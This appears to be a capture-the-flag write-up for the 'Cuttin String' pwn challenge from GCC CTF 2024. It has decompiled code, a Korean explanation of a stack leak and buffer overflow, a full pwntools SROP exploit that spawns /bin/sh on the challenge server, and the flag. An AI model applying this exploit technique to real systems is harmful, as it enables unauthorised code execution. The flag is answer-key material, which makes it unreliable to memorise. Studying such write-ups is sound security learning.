
Description
I made the lightest string cutting tool!
Some people reported bugs, but anyway you can’t exploit them as there is no libc.
Author: Drahoxx
nc challenges1.gcc-ctf.com 4004
checksec
seo@seo:~/Documents/gcc_ctf_2024/Cuttin_String$ checksec ./chall
[!] Did not find any GOT entries
[*] '/home/seo/Documents/gcc_ctf_2024/Cuttin_String/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Decompiled-src
start
void __fastcall __noreturn start(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
int v6; // edx
int v7; // ecx
int v8; // r8d
int v9; // r9d
PUTS(
a1,
a2,
a3,
a4,
a5,
a6,
0LL,
(__int64)"\nCuttin'String, the smallest string cutting tool\n-----------------------------------------------\n");
while ( 1 )
main_loop(a1, a2, v6, v7, v8, v9);
}
main_loop
__int64 __fastcall main_loop(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
__int64 v6; // rdx
__int64 v7; // rcx
__int64 v8; // r8
__int64 v9; // r9
__int64 v10; // rdx
__int64 v11; // rcx
__int64 v12; // r8
__int64 v13; // r9
PUTS(a1, a2, a3, a4, a5, a6, 0LL, (__int64)"Enter the length of the string (in decimal) > ");
get_len_str();
PUTS(a1, a2, v6, v7, v8, v9, 0LL, (__int64)"Enter the string to cut > ");
read_and_print_str();
return PUTS(a1, a2, v10, v11, v12, v13, 0LL, (__int64)"\n\n---\n");
}
get_len_str
__int64 get_len_str()
{
__int64 v0; // r8
__int64 v1; // r9
__int64 v2; // r10
__int64 i; // rcx
__int64 result; // rax
signed __int64 v5; // rax
char v6[8]; // [rsp+0h] [rbp-8h] BYREF
_LOAD_SYS_READ();
__asm { syscall; LINUX - }
v2 = 0LL;
for ( i = 0LL; i != 8; ++i )
{
result = (unsigned __int8)v6[i];
if ( !(_BYTE)result || (_BYTE)result == 10 )
break;
if ( (unsigned __int8)result < 0x30u || (unsigned __int8)result > 0x39u )
{
PUTS(0LL, (__int64)v6, 8LL, i, v0, v1, 0LL, (__int64)"Error. Enter a number in decimal.\n");
v5 = sys_exit(0);
}
if ( i )
v2 *= 10LL;
result -= 48LL;
v2 += result;
}
return result;
}
_LOAD_SYS_WRITE
gdb-peda$ disas __LOAD_SYS_WRITE Dump of assembler code for function __LOAD_SYS_WRITE: 0x0000555555555004 <+0>: xor rax,rax 0x0000555555555007 <+3>: mov edi,0x1 0x000055555555500c <+8>: inc al 0x000055555555500e <+10>: ret End of assembler dump.
_LOAD_SYS_READ
gdb-peda$ disas __LOAD_SYS_READ Dump of assembler code for function __LOAD_SYS_READ: 0x0000555555555000 <+0>: xor rax,rax 0x0000555555555003 <+3>: ret End of assembler dump.
read_and_print_str
__int64 read_and_print_str()
{
__int64 v0; // rcx
__int64 v1; // r8
__int64 v2; // r9
__int64 v3; // r10
_BYTE v5[512]; // [rsp+0h] [rbp-200h] BYREF
_LOAD_SYS_READ();
__asm { syscall; LINUX - }
return PUTS(0LL, (__int64)v5, 1298LL, v0, v1, v2, v3, (__int64)v5);
}
Solution
- get_len_str 함수에서 입력받을 길이를 500이상으로 해서, 스택의 임의주소를 노출시켜 read_and_print_str에서의 v5 스택 주소를 계산한다. 또, chall 바이너리의 text base 주소 또한 구할 수 있다.
- read_and_print_str 함수를 통해 버퍼 오버플로우를 발생시켜 srop으로 쉘을 획득하면 된다.
read_and_print_str의 v5에 저장될 버퍼에는 “/bin/sh\x00” 문자열을 채우고, srop 페이로드를 통해 rip가 이동되게끔 만들면 된다. 이동되기전에 rax가 SYS_rt_sigreturn 시스템콜 번호인 15여야 하는데, 이는 _LOAD_SYS_WRITE에 있는 어셈블리 코드인inc al을 이용하면 된다.
solve.py
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
#p = process("./chall")
p = remote("challenges1.gcc-ctf.com", 4004)
e = ELF('./chall')
p.sendlineafter("Enter the length of the string (in decimal) > ", "500")
p.sendlineafter("Enter the string to cut > ", "0")
p.recv(0xb8)
pht_entry_0 = u64(p.recv(8))
print(f"pht_entry: {hex(pht_entry_0)}")
chall_base = pht_entry_0 - 0x40
print(f"chall_base: {hex(chall_base)}")
p.recv(120)
unk = u64(p.recv(8))
print(f"unk? {hex(unk)}")
bin_sh_address = unk - (0x208) #-0x4e1
#bin_sh_address = unk - (0x4e1 - 0x8*35 - 11)
print(f"bin_sh_address? {hex(bin_sh_address)}")
p.sendlineafter("Enter the length of the string (in decimal) > ", "0")
bin_sh = b"/bin/sh\x00"*50
payload = b''
payload += bin_sh + b'\x41'*(512-len(bin_sh))
payload += b"A"*8
syscall = chall_base + 0x1034
# Make rax to SYS_rt_sigreturn, 15
payload += p64(chall_base + e.symbols['__LOAD_SYS_WRITE'])
for i in range(15-1):
payload += p64(chall_base + e.symbols['__LOAD_SYS_WRITE'] + 0x8)
#syscall
payload += p64(syscall)
# execve("/bin/sh", 0, 0)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = chall_base + 0x3fb0
frame2.rdi = bin_sh_address
payload += bytes(frame2)
payload += bin_sh
#pause()
p.sendlineafter("Enter the string to cut > ", payload)
#pause()
p.interactive()
Result
seo@seo:~/Documents/gcc_ctf_2024/Cuttin_String$ python3 solve.py
[+] Opening connection to challenges1.gcc-ctf.com on port 4004: Done
[!] Did not find any GOT entries
[*] '/home/seo/Documents/gcc_ctf_2024/Cuttin_String/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
pht_entry: 0x5629a4e6a040
chall_base: 0x5629a4e6a000
unk? 0x7ffdf0bd11f0
bin_sh_address? 0x7ffdf0bd0fe8
[*] Switching to interactive mode
$ ls
flag.txt
pwn
$ cat flag.txt
GCC{SR0p_1s_f0r_Sup3r_R0P_Right?}
$
[*] Interrupted
[*] Closed connection to challenges1.gcc-ctf.com port 4004

FLAG
GCC{SR0p_1s_f0r_Sup3r_R0P_Right?}